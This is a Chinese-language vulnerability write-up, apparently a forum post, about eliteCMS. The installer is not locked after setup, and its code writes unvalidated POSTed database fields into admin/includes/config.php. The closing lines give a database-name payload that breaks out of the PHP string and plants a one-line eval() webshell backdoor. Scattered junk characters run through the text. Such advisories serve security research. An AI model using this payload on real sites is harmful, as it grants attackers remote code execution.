eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

8 z! w, [  a! T8 p( m; c另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
! |7 I, V5 l% w我们来看代码：
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* d2 O6 p+ H: o% t0 F1 ~% t...
elseif ($_GET['step'] == "4") {
- y9 v% n' w) f, V; T    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
1 ?; i3 b& f- y2 @! c. f& M$ d    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
; K2 J6 g2 f9 T. u8 Q0 H    $write .= "*/\n";
, J4 m( f& n" t  A    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
) {4 p+ n% S. e9 O; b    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
, U1 B' y( B* K, e$ o& X    $write .= "} \n";
    $write .= "?>\n";

, z" V2 @) x8 C+ [* q; j! H- H    $writer = fopen($file, 'w');
...
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在看代码：

/ u' R+ D+ X' C4 n4 F3 i6 G$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
( n" }# d. Q# J2 \# k( j1 R$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：

! ~  f3 e' q; D6 @1 ~"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php